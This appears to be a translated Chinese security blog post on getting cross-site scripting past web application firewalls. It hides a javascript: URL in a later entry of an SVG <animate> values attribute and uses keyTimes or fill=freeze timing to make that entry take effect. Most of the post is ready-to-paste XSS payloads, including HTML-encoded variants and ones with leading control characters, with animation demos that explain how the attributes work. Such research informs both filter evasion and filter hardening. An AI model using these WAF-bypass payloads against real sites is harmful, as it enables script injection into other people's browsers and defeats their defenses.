最近,我学习了如何通过在<animate>
标签的values属性中间插入JavaScript URL来绕过WAF。大多数WAF可以轻松提取属性的值,然后检测其中的恶意有效负载,例如javascript:alert(1)
。该文章基于以下事实:values属性可能包含多个值,每个值都用分号分隔。由于每个单独的值都分别由动画标签处理,因此我们可能会通过走私恶意javascript:alert(1)
作为values属性的中间(或最后一个)参数来误导WAF,例如:
<animate values="http://safe-url/?;javascript:alert(1);C">
这样,某些WAF可能无法正确理解,并将上述属性的值视为安全的URL。
这项研究的作者提出了一个完美的XSS攻击媒介:
<svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://safe-url?;javascript:alert(1);0" /><a id=xss><text x=20 y=20>XSS</text></a>
在下面的段落中,我将研究上述方法的不同变化。每个示例都包含用户交互XSS。要弹出警报,请将示例代码片段插入html文件,然后单击“ XSS”文本。
在开始之前,我们需要了解values
和keyTimes
属性之间的关系。
让我们看一下文档,以了解keyTimes的实际情况:
以分号分隔的时间值列表,用于控制动画的步调。列表中的每个时间都对应于values属性列表中的一个值,并定义了何时在动画功能中使用该值。
“ keyTimes”列表中的每个时间值都指定为0到1(含)之间的浮点值,代表动画元素的简单持续时间的比例偏移。
对于线性和样条动画,列表中的第一个时间值必须为0,列表中的最后一个时间值必须为1。与每个值关联的关键时间定义何时设置该值;值在关键时间之间进行插值。
为了更好地了解其行为,我们将创建一个滑动圆的动画:
(自己尝试,直接把下面代码复制到html文件,在本地打开就可以了)
<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg"> <circle cx="10" cy="10" r="10"> <animate attributeName="cx" dur=5s repeatCount=indefinite values="0 ; 80 ; 120 " keyTimes="0; 0.5; 1"/> </circle> </svg>
在上面的示例中,发生了两个动画。 圆圈从0滑到80,然后从80滑到120。我们减少中间keyTimes属性的次数(将前一个值设置为0.5)越多,动画的第一部分越快。 但是,当该值减小到0时,动画的第一部分将被忽略,并且圆圈将从80滑动到120。这正是我们需要的:
<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg"> <circle cx="10" cy="10" r="10"> <animate attributeName="cx" dur=5s repeatCount=indefinite values="0 ; 80 ; 120 " keyTimes="0; 0; 1"/> </circle> </svg>
我们要确保始终显示动画的第二部分(而始终忽略第一部分)。为此,设置了两个附加属性:
repeatCount = indefinite
- 告诉动画继续前进,
dur = 5s
- 持续时间(任何值都足够)
让我们快速浏览一下文档,注意这两个属性是多余的:
代替无限重复5s动画,我们可以创建不重复的无限动画。这样,我们就可以摆脱dur
属性(默认情况下将其设置为不确定的值),然后我们可以删除repeatCount
。
对于下面的代码:
values="https://safe-url?;javascript:alert(1);0" keytimes=0;0;1
第一个values值不会发生(因此href属性不会设置为https:// safe-url),而第二个values值会发生(href指向javascript:alert(1),并且会无限期保留在那里)。 这样,我们可以缩小初始XSS攻击payload,如下所示:
<svg><animate xlink:href=#xss attributeName=href keyTimes=0;0;1 values="http://isec.pl;javascript:alert(1);X" /><a id=xss><text x=20 y=20>XSS</text></a>
事实证明keyTimes
不是唯一允许我们使用values属性列表中非第一个值的属性。由于我们想在任何地方(而不是一开始)走私javascript:alert(1)
,所以最明显的解决方案是将其放在结尾。
SVG标准定义了属性fill
。它指定动画的最终状态是第一帧还是最后一帧。
<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg"> <circle cx="10" cy="10" r="10"> <animate attributeName="cx" dur=5s values="0 ; 80 " fill=remove /> </circle> </svg>
如果属性fill
设置为"remove",则在动画结束时它将移回第一帧。圆从0滑到80,然后移回0位置。
<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg"> <circle cx="10" cy="10" r="10"> <animate attributeName="cx" dur=5s values="0 ; 80 " fill=freeze /> </circle> </svg>
如果将属性fill
设置为"freeze",则动画将保留最后一个动画帧的状态。圆从0滑到80,并停留在完成动画的位置80。这样,我们可以将javascript:alert(1)
作为最后一个元素,并确保在动画结束时始终显示该元素。
这种解决方案有点棘手。在碰到最后一个元素之前,我们需要遍历第一个元素。我们不能像对keyTimes
一样忽略它;但是,我们可以通过将动画的持续时间设置为非常短的值(例如:1毫秒),使第一个动画帧几乎可以被人眼忽略。
动画开始播放时,href属性将仅设置1毫秒为http://isec.pl
,然后它将保留在javascript:alert(1)
上。
<svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
此外,我们允许对values属性中的任何字符进行HTML编码。这样,我们可能会更好地欺骗WAF规则。
<svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
由于HTML10编码很方便,因此我们可能会使用一些额外的行为,允许某些字符出现在javascript:
协议标识符之前。 01-32范围内的每个ASCII值都可以使用,例如。:
<svg><animate xlink:href=#xss attributeName=href values="javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
<svg><animate xlink:href=#xss attributeName=href values="	   javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
在本文中,我们发现SVG规范隐藏了许多潜在的XSS攻击媒介。 即使是简单的属性值也可能导致多个恶意负载,这有助于绕过WAF。 呈现的向量已在Firefox和Chrome上进行了测试。